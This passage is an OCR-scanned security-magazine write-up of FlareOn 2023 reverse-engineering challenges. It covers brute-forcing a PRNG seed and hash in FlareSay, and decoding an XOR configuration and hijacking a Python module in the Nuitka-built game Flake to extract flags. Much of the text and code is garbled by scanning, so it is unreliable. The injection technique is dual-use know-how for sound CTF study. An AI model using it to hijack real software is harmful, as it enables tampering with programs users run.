. 33CA xor ecx,edx 0 PF1 AF 1
. 8ED1 mov edx,ecx E‘E 0 SF O DF O
. C1cz 07 rol edx,7 CFO TF1 IF 1
. 03D0 add edx,eax
. 33CA xor ecx,edx eer R
. 49:83EA 01 sub rio,1 ]
- ~ 75 BA ine flaresay.408F&0
. e TrTEER INp ecx. SIDSESFE Default (x4 fasteal) = |[5 [3] (] unlocked
EE———e ~-0F85 B4000000 jnelflaresay. 409066 1: rcx OD0DOODOOD3AESCEST
48:8939C24 B3B000000 mov gqword ptr ss:|irsp+33[l,rbx 2: rdx 0000000000ESLEBOD
. ES DGFEFFFF €all flaresay.408E95 v [ 3: rs 000000005AS818C3
el ¢ == - - = 4! r9 0000000000408E97 Flaresay.oql|
1
ey i) 0000000000000000
Woump1  @Wpumpz  @Woump3  @oump4  @WDumps @ watch1  Ie=llocals 4 By T TTETTT o
R Hex - 0000000000000000
0000000000408E8S |A6 B3 BY BE |22 FD 5B BD |37 9E 85 10|32 gggggggggggggggg
0000000000408E95 B8 54 00 00|00 C3 E8 CA|FF FF FF 39|22 0000000000000000
0000000000408EAS |EQ 1C EB AA|GE B3 A4 EL|BC 72 98 14|3C £000000000000000
0000000000408EBS |F3 BA DC 8F D8 79 €1 2E|0OE DF 2A F8|CS 0000000000000000
0000000000408ECS |EF 10 01 0B|CA A6 F2 79(01 9A 98 7E|71 0000000000000000
pusawoeva e v Fefafagas s ngeng s sifoagesy e e v 8000000000000000 | ¥
< >
Command:| Default
Paused |INT3 breakpoint at flaresay.0000000000408FAC (0000000000408FAC)! |T|me Wasted Debugging: 1:01:54:25

S XXX W e kE WXT X XTsp 4 % s

~ ~ ~ N

1Xd s 5508 de ATy 5B dhashd » x . x>

®x hdstit L * < AL X AL Xl x X ] 1%

A~

~

do~ZIX b . T s
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x= X

v

TR Ty S xii Lo x

¢ result_bufferr 41 -~ 1

~ * fesult_buffert
.+ . modify_result_buffer. s -«

e =

ek_modify_result_buffer proc near

pusha

push ax

push ax

mov dx, 6

call ek_shift_left_buffer ; result_buffer << &
mov di, offset result_buffer_shifted &
mov si, ax

mov X, 8

rep movsw

pop ax

mov dx, 16

call ek_shift_left buffer ; result_buffer << 16
mov dx, offset result_buffer_shifted &
call ek_add_buffers

push ax

mov si, offset buffer_current_score

add si, BEh

mov [si], bx ; bx = current score
mov ax, offset buffer_current_score

pop dx

call ek_add_buffers

pop dx

call ek_subtract buffers

mov temp, ax

popa

mav ax, temp

retn

ek_modify result_buffer endp

FIZE=

ek_add_buffers proc near
pusha
mov di, ax
add di, @th
mov si, dx
add si, @Eh
mov bx, offset result_of_add_buffers
add bx, @Eh
clc
mov cx, B
(FIZ1E
loc_l@11F:
mav ax, [di]
mav dx, [si]
adc ax, dx
mov [bx], ax
dec si
dec si
dec di
dec di
dec b
dec bx
loop loc_1011F
—
L J

ax, offset result_of_add_buffers

retn
ek_add_buffers endp

Technologic

_ bufferft ~ « 17

PE X3

1 s 1 player turns 4 « «

< >

Lo~ o> {pfayer_scére

Y X% x o
® 1 1ci *result_buffer. shiftleft, x . @™
® 1 ima* _result buffer. shift left x*. €

QHEE MDY X« XL SX X @

qoos - « M 1 player_score ~ x *
PRI )
. x
I

S SR N N

anos - . x fesult_buffer

] ssXZ.P(“‘l’_’fs>,,s¢:|§\A.{ss¢xx

Gesult_bufferd x = ¢

S Lo X TS

1A

X {9 n RS P X

d111

v

rAbuffer 1 7 -1 * «add_bufferss 4 « « 1 %

OSSR LT HRS HL ST s, sy .
dod -~ » » x hadd
TEr 4« cp xsa X 1] Isxemosxsidse 1[4

m . 1> .régsult_of add bufferss _ *1 _ 1 buffer
LA 4 XS OGP xs s8] 5 xss ¢ pyffer

Px*4qs x

X 4” L

~ A~

$ « .nodify_result_buffers 4 . « " X
@ *L4l >« 1 L sscorgt « L X4 X 0 T

A A B X I X .

RN
>

SX x

V< v

{ ~

X”-lxu

A ~

XX "

x scorgt _ + |

® !

S X b Hid o 4 s 4D X x| ]

’”
~ A

e

>

oo w3 4~ score® 1 1 &+ L Brute force
LXHHe T2 A XMy ” qHx w x T ¥ { x .,
MHY« CS@&” (48, *1nd gt 1~ 1%s .

L X AN S A e e T

>

%S

~ o~

Baute forcex 4w x L
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y .
Fd Y s I@Ed « C Apset xX Jd, L Bruteforcer x _ . v X - ¥ X ] o
~ = A LN ~ A~ A >
@14 pAwsl XTIse X% o b ad o549, 17
~ > ~ v ~ ~ ~
” =
Yadd _new _random _coloy 1 « « " x"qss
ek_add_new_randem_color proc near
pusha
mov ax, @
mov bx, 3
call  ek_generate_prng_in_range
mov bx, current_level
dec bx
cmp cx, @
jz short loc_1866D
11
x, 1
short loc_18674|
cx, 2
short loc_10666|
]
il el = ] e =] full e =]
mov selected_colors[bx], 20h ; "M’
jmp short loc_l18679 loc_1@666: loc_les74: loc_1@66D:
mov selected_colors[bx], 4Bh ; "K'| |mov selected_colors[bx], 58h ; 'P'| |mov selected_colors[bx], 48h ; 'H'
Jmp short loc_10679 Jmp short loc_10679
L | |
ek_add_new_random_color endp

Sy . X . Ss

1.
o >

1@ ] % 7 sesx s

_oBn+ 1~ 1 _r~ generate_prng_in_range 1 « « 7 X % 4 &7 X s

>

s ox Xk J{ %«

~ | " sklected _colord ~» s + . xi: ca s G s

v ~ ~

“®.l_ _ OS keyboard scancodes: X « L X X x T 47

¥oXditl~

PRNG ¥lue

0

1
2
3

L e ]

FlareOn 2023
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¥ 7 '~ - «ping_next {1 . « "gEnerat& prng_in_range 4 « « " X7y ss
il e 5 Ll s 5=
ek_generate_prng_in_range proc near ek_prng_next proc near
push dx - —
push dx
push b
push ax mav ax, current_prng_num
sub by, ax mav dx, 23167
call ek_prng_next mul dx
mow dx, bx add ax, 12489
add dx, 1 adc dx, @
mul dx mov current_prng_num, ax
mov cx, dx pop dx
pop ax retn
pop bx ek_prng_next endp
pop dx
add Cx, ax
retn
ek_generate_prng_in_range endp

prng_nexts 1 « « 7 ., xx #%4 x 4] .~ L * generate prng_in_ rangeé 41 « « " x s

>

HD «0 1wl w D X Iise o xpbxp X 4@ 4 dw 28  s% oxsips{ ] x

~ > ~

b AP AT s s e 4 Ul | X Tadxitr 4 O 37 XpddLl Xss

b7 XL BSses L SOBESX . XILus | { pHg nex: o« - X ke o XX p5 o X
®©,1,2,3 X1 x sxg]H. 5% « xS

LCG -I ” X”YXLX\.lsxv\- ...”S ”|_ L X« %@g_nex'{s ‘l o ‘Xv‘ ’q ~ ﬂ“l X \-sv”>‘ls-|)°b|__’§
L s X s X x XX ox g N Fs 4 . s osXs M, s " X os ]

~ > v a Am > v

+ « _Cbrrent_prng_numd . * xs/"Y¥.s | YDA Prat crossreference_ *x  s{ 1 +"- Lo XS

0X10094: * * @ $% « < * X JI'EGt + - 1 -~ xseed® X SXF X L+ | 17 X L., Ss
b1 A4 71X " ®Xs ], gdme looms « 1 AV 1

pEhg_nexts 1 - « Seedt ¥ ~  Brute force, « 0 AAME + 1 ¢ ¥ x L 4T % x 1]
@ o, T % A L ds T 1o x

~

C, XSE® A ok 4 1655361 F 4 4 X { oseedd I MG S RXIE KT

®rute forcex 1 x 4 L1 x 1y

~

FlareOn 2023
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https://en.wikipedia.org/wiki/Linear_congruential_generator
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¥Ysped_ dwid Is. i s T X4, p4wsl 655860 1 » * x7 x I x3 s

def get scores (seed_value ):

prng_to_key_ value {0: 0x48, 1. 0x50, 2: 0x4B, 3: 0x4D}

prng_value seed_value

current_score 0

scores 1
_ range (128):
prng_value (prng_value 23167 + 12409) OXFFFF
prng_value_in_range (prng_value 4) 16
current_score prng_to_key_ value[prng_value_in_range]
scores. append(current_score)

scores

scores_to_result_array ('scores ):
value 0
score scores:
value (value 5)) (value 16) score value

value = value & OxFFFFFFFF_FFFFFFFF_FFFFFFFF_FFFFFFFF

result b
_ range ( 8):
result bytes ([value OxFF]) bytes ([(value 8) OXFF]) result
value 16
result

get_all_possible_arrays 0:
all_a rrays b™
seed range ( OxFFFR):
scores get_scores (seed)
array scores_to_result_array (scores)
all_arrays array
all_arrays

all_arrays get_all_possible_arrays 0
open( "all_arrays.bin" , "wb"). write (all_ar rays)

Loxpxres x4, My KXk T e o x o k4
FareSay.exe _patchedt « | ~ ¥ St 4 « 4 4 4 0 F «pid 1~ T sx {0 x o XX {4174
LDl x dsax Jliffle endiart « xTSX L M 4 SHRHMSEXE 4 _r 7 x XTI T4 44

O x X o D CHE o4 s XA Xs

starts 1 « « "hash®d_ ~» rud v S S v X ] XA . poAds LS "4 X H 1
*x D Hash® @ o4 4 taX X T 4 s Rashe coo* 01 40 % Loxiex T Xl g x x|

v o~ ~

[

x@p | x X B L 1" 83 {8 o xxxx " S . ¥ L

X s e A d 0 X sstarts 4 -« 7 X FlareSay.exe * xpatch, « 4 H - X oo
booxZ v e A o8y b o x Sssq{ o 7% 452 1,7 +8® « xiies { ¢ Thasht

o> ~

D« x Xhashimr 4 « 5 C v "

~ ~

FlareOn 2023
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Y 4« @B, 4 IPss 7 pdtch

s box o vsx o gBt buffer_pointerr s « 1 o XS0 g

mov eax, ecx
X w8 S 4.« X % eax- 1 , 1 ¥starts 1 - wa XX PRI R RO $ e ©

> v o~ >

Qet_buffer_pointerr 1 * « * 8. 14X < +s

x Ioxiw* s D OX31ID9F5FF ~ hashig -~ « x4 x 5 o @

moV eax, ecx

jmp 0x409068

LsS 47 do 1~ 8« x5S ] sqeax- 1, Ahasht @ « « X <o 4% 9% -
et . Y USH WX s

< v

Yatchr ~ 1« x < § s

ROLA_ ((v5 + __ROLA_(hash_value, 7))} * hash_value, 7)) * (v5 + __ROL4 (hash_value, 7)) * hash_value,
6 + __ROL4_ ((v5 + __ROL4_ (hash_value, 7)) * hash_value, 7)) *~ (v5 + __ROL4_ (hash_val
lock_pointer - 3) + _ ROL4_ (v7, 7)) ™~ v7;

return hash_valuej

P A e AIse L oss 4 o <8 x4 HBreSay_patched.exe ¥ xx iy xo o 7
¥ X e+ x X

<windows.h>
<stdio.h>

main() {
HINSTANCEmodule = LoadLibrary ("FlareSay patched.exe" );

int offset_to_hash_function = O0x8F40;
int  (*hash_func)( char*)=( int (__cdecl*)( char*)(( char*)hmodule +
offset_to_hash_function);

FILE* file = fopen ("all_arrays.bin" , 'rb");
byte array[ 16]={ 0};
(int i= 0;i< OXxFFFFE i++){
fread (array, 1, 16, file);
int  hash = hash_func (( char *)a rray);
(hash == 0x31D9F5FH {
printf  ("Found hash match: \n");
(int i= 0;i< 16; i++)
printf (" %x", array[i] & Oxff );
printf  ("\n");

FlareOn 2023
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Visual C++ 6Bit 7t s « *s 1 x 0 «s 4, s4 4 { fldd array.cpp, * xx % x _ 7

> ° ~ > ~

YCommand Prompt

cl find_array.cpp

Fdo%ddse 8 X570 o oss o Pl . X fihd array.exe, X XS 4 . ST L. T~ 0L
’d . opd e D 0T . o ™ X8 1 . 1 alb arrhys.bim FlareSay_patched.exe
Y * %0 ,.s | *hash

C:\ FlareSay>find_array.exe
Found hash match:

2b 41 9d f2 €6 85 93 b8 12 d0 c1 c6 4c 4b 8b 30

T x X xi+% 4 . DxBE8L _offsetif FlareSay.exge * X kxsX y 8 & ¥ & {4 % 0 x |
Y X Messag8ox

Winning >

I_\ HaShtag_n0_rcd_aMd_Th3n_sOme@flare-on.com

Y x sy | s

Ha$htag _nO_rc4_aNd_Th3n_sOme@flaye.com

FlareOn 2023
www.DigitalWhisper.co.il
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flakemor~ v -«

Subject: need your help...

Oliver Shrub, Gardens Department Head, keeps bragging about his high score for thisi rip off
Snake game called Flake. I'm pretty sure he found atwafeat the game because there is no
way it's possible to score 10,000 points...I mean the game ships with a sketchy TXT file so there

must be something fishy going on here.
Can you look at the game and let me know how | can beat Oliver's high score?
Beg, Nox

Shadows Department Head

T xS S . X LS G Y

Lo X X X w7 v "exq_Is, X, s X sy Dolosx G 4 Tex] Tl Al v 1o X
writeup 4 ¢ v v g D4 ASE L Y Taex DD Y x oy T 4 ]S Idd | Hvfiteup
+ -I N X ""I'SL-I X S VQ, Y . q)>i=~x ’” :l ” K “s T .

v o~

M1 flake.exe
i demo_conf.txt

T mail.txt

Y xdemo_conf.ixt, * X wIsxdy 1 » %« 8 S failtxt, X X" Isx !
WTOh3Rgz17NjWtTfd33llk9w5Z0CQeOQAmegzw!51ZpPfrjdDjOg3Rgkvd0QM6VPDjOI3Rgj7A==

XX 4 o 4 DXl XS LT i {0 base6dl ¢ x X1 slv LT x s

~ Av ~ o~

¥ | xis s Iconsolgt - x L~W*_~_ x cohsole x 1 ‘1 fldke.exe

[']could not find configuration file in directory C: \ flake - using prod configuration
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s

# FLAKE Ultimate Pro v10

XX x YT sqxs” B, 1 @Eiver « 14 1 high score® -3 o~ B %x D4 ]

~

TR I L R R TP L AR U I NN IR DA L P S IR U 1 NS SR
(e T G T PR 0 '3 ST ST [ Y £ XX 8§ w &KX L
~ > v o~ ° > ~ ~ ~ A
-y . . x x .
108 ¢4 XIH s fesq v X%~ 1 X 1 Procmomng ¢ X « & b4 qd.
L o~ ¥94s 4 D 1chefiles L 42 s 4 B _(AUsersd<userxAppDatilLocalTemp
Y {.x
£F Process Monitor - Sysinternals: www sysinternals.com - [m] X
File Edit Event Filter Tools Options Help
2R ABE YAS B/AS ABA0M
Time Process Name PID  Operation Path &
3 B flake exe 4474 B Createfile indows\System32conhost exe
flake exe 4424 BCreateFie indows\System32\imm32 dll
B: flake exe 4424 @Createl—‘lle indows\System 32\imm32.dll
: flake exe 4424 BhCreatefile \SystemResources'flake exe mun
:10:. flake exe 4424 &Createﬁle C:hlUzers\John
210:2 . W flake exe 4424 BhCreateFie C:xUsers\John'AppData®Local\ Temp onefile_4424_133443006251125821
-10:2... 'B-flake exe 4424 B CreateFile sers‘John‘\AppDatatLocal\Temptonefile_4424 133443006251125821\flake exe
4424 @Create File zersJohn'AppDatatLocal\ Temptonefile_4424 133443006251125821%_bz2 pyd
4424 BhCreatefile sers\John'\AppDatatLocal\Temp'onefile_4424 133443006251125821"_ctypes pyd
4424 &Create File zerstJohn\AppDatatlocal\ Temptonefile_4424 133443006251125821"_decimal pyd
4424 BhCreatefie Users'John'AppData“Local . Temp“onefile_4424_133443006251125821"_lzma pyd
4424 B CreateFile sers‘John‘\AppDataLocal\ Temponefile_4424 133443006251125821"_socket pyd
4424 @Create File sersJohn'\AppData‘Local\ Temp onefile_4424_133443006251125821"_tkinter pyd
flake exe 4424 BhCreatefile sers\John'\AppDatatLocal\Temptonefile_4424 133443006251125821\api-ms-wincore-consaled1-1-0.dl
flake exe 4424 &Createﬁle zersJohn\AppDatatlocal\ Temponefile_4424 133443006251125821\api-me-win-core-datetimed 1-1-0.dll
4424 BhCreatefie sersJohn'AppDatatLocal\ Temp onefile_4424_133443006251125821\api-ms-win-core-debug1-1-0.dll
4424 &Create File serstJohnAppDatatlocal\ Temptonefile_4424 133443006251125821 api-ms-win-core-emorhandling41-1-0.dll
4424 @Create File C:xUsers\John'\AppData®Local\ Temp onefile_4424_133443006251125821\api-me-win-corefile41-1-0.dll
4424 BhCreateFile sers\John'\AppDatatLocal\Temptonefile_4424 133443006251125821\api-ms-wincorefile41-2-0.dll
4424 @Create File zersJohn'AppDatatlocal\ Temptonefile_4424 133443006251125821\api-me-win-corefile42-1-0.dll
4424 BhCreatefie sersJohn'AppDatatLocal\ Temp onefile_4424 _13344300625112582 1 \api-ms-win-core-handled1-1-0.dl
4424 &Create File zerstJohn\AppDatatlocal\ Temptonefile_4424 133443006251125821\api-me-win-core-heapd1-1-0.dll
4424 BhCreateFie sersJohn'\AppData‘Local\ Temp onefile_4424_133443006251125821 \api-ms-win-core-nterockedd 1-1-0dll
4424 BCreateFie sers‘John'AppDatatLocal\ Temptonefile_4424 133443006251125821\api-ms-wincoredibrandoader{1-1-0.dll
4424 @Create File zersJohn'AppDatatLocal\ Temptonefile_4424 133443006251125821\api-me-win-coredocalizationd 1-2-0.dll
4424 %Createﬁle C:hUsers\John'\AppDatatLocal\ Temptonefile_4424 _133443006251125821\api-ms-win-core-memary41-1-0.dl &
. . s . s . 5
Showing 2,793 of 133,816 events (2.0%) Backed by virtual memory
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L X, o x " A N N = X ﬁakeLe)te]nsx XJodsy siies Ao X 7] A I_~sI:'|ss

“ov LT A X o SH g 1K S SASMOKCONftRt £ X X x . T1x s

£ Process Monitor - Sysinternals: www.sysinternals.com o= O X
File Edit Event Filter Tools Options Help
FEH KRBPE| A B MAS HXBATH
Time Process Name PID Operation Path A
2:10:2.. W-flake exe 5720 B\CreateFie C:\Users\John\AppData\Local\Temp'\onefile_4424_133443006251125821\Crypto\Hash\_ghash_portable pyd
2:10:2.. W fake.exe 5720 BhCreateFie C:\Users\John\AppData\Local\Temp‘\onefile_4424_133443006251125821\Crypto\Hash\_ghash_portable pyd
210:2... W-flake exe 5720 EACreateFile C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash\_ghash_portable pyd
2:10:2... W-flake.exe 5720 hCreateFile C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash'\_ghash_cimul.cp38-win_ar
2:10:2... W-flake exe 5720 B\Creaeﬁle C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash\_ghash_cimul pyd
2:10:2... 'Wflake exe 5720 BOeaeF»le C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash\_ghash_cimul pyd
2:10:2.. W-fiake.exe 5720 BhCreateFie C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash\_ghash_cimul pyd
2.10:2... W flake exe 5720 SCJeaeFk C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Hash\_ghash_cimul pyd
2:10:2... W flake exe 5720 BuCneateFde C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Cipher\_raw_ocb cp38-win_amdé
2:10:2.. W flake exe 5720 [B\CreateFie C:\Users\John\AppData\Local\Temp'\onefile_4424_133443006251125821\Crypto\Cipher\_raw_ocb pyd
2:10:2.. W flake exe 5720 EACredanie C:\Users\John\AppData\Local\Temp‘\onefile_4424_133443006251125821\Crypto'\Cipher\_raw_ocb pyd
2.10:2... W-flake exe 5720 guCreateFde C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto'\Cipher\_raw_ocb pyd
2:10:2.. W flake exe 5720 BhCreateFie C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Cipher\_raw_ocb pyd
210:2... W flake exe 5720 B\Creaeﬁle C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto \Cipher\_ARC4.cp38-win_amd64 ¢
2:10:2... Wflake exe 5720 BOedanle C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Cipher\_ARC4 pyd
2:10:2.. W-fiake.exe 5720 BhCreateFie C:\Users\John\AppData\Local\Temp \onefile_4424_133443006251125821\Crypto'\Cipher\_ARC4 pyd
210:2... W flake exe 5720 BCJeaeFlle C:\Users\John\AppData\Local\Temp\onefile_4424_133443006251125821\Crypto\Cipher\_ARC4 pyd
2:10:2... W flake exe 5720 BuCreateFde C:\Users\John\AppData\Local\Temp\onefile_4424 133443006251125821\Crypto\Cipher\ _ARC4 pyd
C:\lake\d3m0_cOnf txt
2102 - flake exe 5720 PhCreateFile C:\flake
210:2.. W fiake.exe 5720 [PhCreateFie C:\Users
210:2... W flake exe 5720 [\ CreateFie c\
2102.. W flake.exe 5720 [CreateFie C:\Users\John v
< T i >
S I X « q s | q N P N N - 1" L L7 L
” X X X X

Foo1 X m 11 - xflakeexe | X x s L X W S BN R S DR I T

. = x . ” x

¥ . ! xs s lIcengsolgt = x flake.exe, * x:«.s. d3mO_cOnfixtm x " o X & «

- using demo configuration

P 1 x'|v2 F I xs“-|v‘ ., X yo-r<)x§“x~,_,gv X L]

RV

X UIX e L S X, T T XS xTLx1X 8 | | | flake.exe, X X F AL L F <
AT NG KT DI 4 WX X4 4, *Anddule: x _ dEcstringst | X T I Axdey L ]
boopydd < %GR3 49 L osxI P xegecutablen L, | XX I AX4GX S § s X x (s " s |

flake.exe, * xs > Xis¢ x ., P s,  5si ¢ 1 4 . ¥Andduler - x

Y14 %k

¢

~

E{ Chflakeonefile_8600_133443043677803623\flake.exe - Notepad++ - O *
File Edit Search View Enceding Language Settings Tools Maoe Run  Plugins Window 7 X
cHHBEERGalihhloe|lap *x BR|SH1 EfRa® @ EMNBE
Eﬂakeexeml 1l
INULINUT, NeRSSs NU L VERSR SRS N U L i ~
135127 B= food@iMw2ascoreliiwiaincr@iaExceptionfiaprint
bad configuration file — using prod configurationl
configuration file found and decoded with key - using demo
configuration AT GRANEANANEANnnu[!] could not find configuration file in
directory E#vw.ulu - using prod configuration@MuXOR—encode d3m0 cOnf.txt with
0x22,0x11,0x9%1,0xff (I think Nuikta strips Python docstrings during compilation so
no worries about this comment making its way into the wrong
acreate imagel@aimg flare u
PR = i ma ge fEila ta g T
zhead@@utoo many values to
unpack (expected
WP=DirectionMiMaup Ny B=rightl
asnakels
ULEMES N UL Ete COs Y N U LERIES
21bl plaver scorel@aconfiglEMuSCORE v
MNormal text file length : 9,535,488  lines: 135,133 Ln: 135127 Col:462 Sel:179|1 Macintosh (CR) ANSI INS
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base64

Technologic

XN s B X s L x oy X o xbxsh 4R, 0 DD L Oss s s

¥ S x84 . xy "X

def decode_configuration (base64_string ):
key [0x22, 0x11, Ox91, Oxff]
data base64. b64decode(base64_string)

decoded

decoded

.join (chr (datali] keyli 4])

range (len (data)))

print (decode_configuration  ("WToh3Rgz17NjWiTfd33lIkow5Z0CQe0QAMegzwI51ZpPfridDjOg3Rgkvd0QMEVPDJOI3Rgj7A=Y)

Y xlsx si L

{"0" : "FLAKE Ultimate Pro v10 (Demo)"

X 1oX o« B3 R X kL xsFH « . X ¥ P LIS Txgisx s "X w Xd s
¥ ¢
base64

>

N

w

~ AV ~ o~

1 H P P B 9<1>‘v,,xlyl1x>“”vx~;l1x=-|“l; s@

~ ~ v ~ > a

def encode_configuration  ( configuration_string ):
key = [0x22, Ox11, 0x91, Oxff ]
b™ . join (bytes ([ ord (configuration_string[i]) keyli 410)
range ( len (configuration_string)))
base64_string
base64_string

encoded

base64. b64encode(encoded). decode()

print (encode_configuration  ('{"0":"FLAKE Ultimate Pro v10 (Demo)","1":5,"2":0,"3":2}'

F -| ” X l.s L Y“ZI - VLSAI-

R R O T B

SRS Loy IR A 4 x| 4T

® 1 T F o oxldse Lgis s
DX WL LT s I xiuxs 4 Lo MSel | sq
< I I e N E - Rt CN Y|

R R T L R I -

v o~

S—

i+« ., Qs-! sq
s s I'x 47 s 11 A L o =4 X X "oy I x o

Lol x o 1" s F L1 L X~

A ~ ~ A > v o~

¥ ! xeonsoler - | xIs 1 | _ X 4%3 xsx (HJ o x ,p e piXe GIsXx w08

<

['] Snake.length property, not including start length, is 2 but it must equal the final

score which is 10004!

AT B N

X X X

< v

AL

1, 404« o xov PN RS T g A T EXAR) As 0 X

P X T xx@U T He b X s b XX e X OX ] w4 X {Ys

v oo~ ~

o DxTulsXx<do o N d s teval Jv X xS x s P8 g T x POy 4 qAsid 4"

~ > v

®Y 15T XX HgbRS 1~ XS <2 X0 X 4§ { xq¥% |

~
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194 DA 411 1 x%64dbg A S1. X x DXk wsostoaloxy X g 404

v

19 1c1s Tl ooxixe oyl PRython, LX w0 $ ] T Xs X x

S S L« X o, ] . s " |

1oxox "Txx tiqx 44 ¥ 47~ flake.exel 1 o s Libfary Hijacking xxs 4 4 i * 1% 35 x x 4 | s

X P H IS e xpyd, X% X 4 e x@S 4 o 44X L opyd] X«

Lo_contextit 4 X 4L T ox tHexdN A s b L X x LsT ] ] L s L4 s

o > ~ v

L o_contextd x T X Il gx4oq LssX s L b X0 SR, st sq L, sl x4 1 X
X @ X LS. o xo s il x o, « Pylnjector % ik A 4 4 LS

s ¢ 4L 1 x A F FY ¥« oS54 Xl s T ]Sk

~ ~ ~ a

Toxolhdxde s w{ xIs Nitkad L §%. 1 Cw o LB X 0 DT 447X S G T
X A4 0 fldkke.exet «- x 44X 0 sse L iyd . ¥ X*<executablet
p¥thon38.dlimodulert importx * 1 ¢ {1 «CFF Explordr flake.exe: «+ 41 1 ¢ xxd_lpyd

(3'8" v .Y X L‘|ANUIIkaI°f~ . - }1’ i ,,XI ”X-|='|”J‘-L X

¥ x < «sq . sipyd, * ¥ ¥ 44 Nuitkar ! x 3% ¥4 _ |

python -m nuit ka -- module some_module.py

®ylnit some_module _ 3 1 « « X Xss|{7.x. 0 4 x 8 X X

X

x@ b x o3 1S d AL sudles x T Alake.exae S 1 < K

ST« AT K d W X YIS X g s s g Jo4ss” x s ] % s

NETE A I N SR

> v ~

Fo%¥® SO dxpydd « % X1 _ 4484, x T8I Tud Y ol s s
v+ 1« ®. xd 14 _Otyptd/Cipher/_ARC4.pyd x s ¥ s 1€ ] > x @& » ] 1L s L
Ynodulerg « « » L T x 19 4 x 819y os{ | flake.exe

BN C:\Windows\System32\cmd.exe — [m} b'e

', Not found '_ARC4.pyd®
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https://github.com/call-042PE/PyInjector
https://github.com/Nuitka/Nuitka

print ("Loaded ARC4!")
def Pylnit_ ARCA4 ():
print ("Pylnit ARC4" )

python -m nuitka -- module _ARC4.py

Ciypto/Cipher/v «x + x4 : s{. @WRC4.cp38in_amd64.pydr _ > * X & , % X 4 & )
oo X3 TRl K ds L, X o e8] i § 1 x fldkelexe, X XS { LTS 1 o L X

BRCE 4~ _ % s wxssxsl x 9y 1 _ ss.p$|

~ v ~

_tRinter.pyd | X xeuxsfsp o« 4 L7 { k3

~ oA > v >~ >

sX s x ¥ HT | _ 94754052 . 564 AT X X@U, X4+~ 3,48 xC

2]

XA N s Qoo x4 LX) s A ]

> v v v wmT A ~ v

x xivq;J¢ss-| ” )_|vxs:l X1 » X8

Y LS x I X%

SS % " E 4" X S« . 9 ssg Y XY | tkinter.pyd, X % & 4 alx _ixxl X x L 1%

Wissing attributec. s «~ 4 X <70 L T~ L X

BN C:\Windows\System32\cmd.exe — [m] X

st likely due to a circular import)

s XX H | x (':,SS‘ XL Xsad@ L XS““V-{SY: XL BLoIsw 4y oxx " L X X S HE x { ¥ s
@1 A TR LTSI ] {1kT L

Fd¥ . Iffakeexae S 4 4 L S XD D pydmy | e S L X oA AT
Y x4 gkinter.py | X xTolsX <D ox YT I HRRIL, XD x T

flake_inject *

~@ x tkinter.pydrt @ _ ¢ _ S 0% X LK+ w1

Ix A T ds I cis x L 1] flake.exer s 1 « flaké inject.pyr _ X X % X o 4L

® ! 1, _ +u flake_inject.py: -«
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L _ _ Python debuggei -~ ¢ | ¥ o siiep 4y XX o { yuesxisx o Tx o X d s

Yuitkart - < X 1Y% TGy 4 ciYe S 47 pdb |

BN C\Windows!\System32\cmd.exe — [m} b4

in <mo

fla n <module>

Y o _nd 7 A s s x T X s X s

print (globals ())
print (locals ()

s ¥ {eahstack 1 '« x _ x 7" LX< s ¥¥ L X@ X"s

~w A ~ ~~

Vs>v< I'xs « & "4 ~

> v o~

1 ¥I” stack frames so %, B 4 W% son@ cmain_ttr 4 AW 1T S

>

Yocalst - - globalst - «x * 41 | ¥main_ m
print ("hello from flake_inject!"

def find_main_frame ():
inspect
HENES inspect. stack ()
frame_info frames:
frame frame_info.frame
frame.f_globals] ' name_ '] ' _main__
frame

main_frame = find_main_frame ()
print (main_frame.f_locals)
print (main_frame.f globals)

B C\Windows\System32icmd.exe — [m] X
\f1: il 1

> P
builtin
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https://docs.python.org/3/library/pdb.html
https://docs.python.org/3/library/pdb.html

X T LX s o, XIS, jsor

s UH . o xd " X _flowwrt . 2o x 1 x U xX7 X
AT s e . x ¥ | x < Pythomt @ x ~ ¥ .
s 7 x s $YSsdsL . import

T8 - v X Xs X"s | ox L "]
" x] "TRAError:
S s "Ly s

bx o d 7D pAdd e s AL XS

xs |

‘2L SN B

print ("hello from flake_inject!"

TclError =1
TK_VERSIONL
TCL_VERSION
READABLE
WRITABLEL
EXCEPTIONL

_+14 ~ fiAnodulete 1 A
4Tl L D I, DX L Hports X s 4 S o x L Ta4XslosEsx o 7 ox Xy, X

v o~

FAH TS A

N LSS «

S R T DT\ N

o <

v o~

1« 4 ~TdErbr=1s . x . §x
I R I 20 B

% S %S .

1% 4 X

Bl C\Windows\System32\cmd.exe

TX, 1 esls B L TS X P

print ("hello from flake_inject!"

TclError =1
TK_VERSIO}
TCL_VERSION
READABLE
WRITABLEL
EXCEPTIONL

def find_main_frame ():
inspect
HEWES inspect. stack ()
frame_info frames:
frame frame_info.frame
frame.f_globals] ' name_ ']
frame

__main___

def create (*args):
main_frame
print (main_frame.f_globals.

find_main_frame ()
keys ()

%« @main_1tr 4" A4 g A SIS

(most lik

., X y°.|><)x”sx,,“x s. s I x

v oo A~

¥4irdLxis

1A S

sl ]

>°<~x-|-|x quqv\ « 7 X
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ER C\Windows\System32\cmd.exe — O ®

s 4V X s v Xt "] vg@me wins 4 T xselisy §x s x s

Stk 4+ . xgt_fldgs 1 < « fuxy sy s b X% X XSFT ]yl 5 DX x| X

Y | X {s - -{:YLNX“

¥4 ..o xRy xB _% " 0 % 1 dlobalgt s« .

READABLE
WRITABLEL
EXCEPTION.

def find_main_frame ():
inspect
frames inspect. stack ()
frame_info frames:
frame frame_info.frame
frame.f_globals] ' name_ '] ' _main__
frame

create (*args):

main_frame find_main_frame ()

flag main_frame.f_globals ['get flag'" ](main_frame.f_globals[
print ("The flag is:" , flag)

B C\Windows\System32\cmd.exe — O %

in _ init
in _lo

Y X sy | s

nOPe_NOt_TOdAy_ NulTkA@flacm.com
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Technologic

AmongRustty ~ ¥ -

Our customer recently found the following malware executing on one of their machines. The
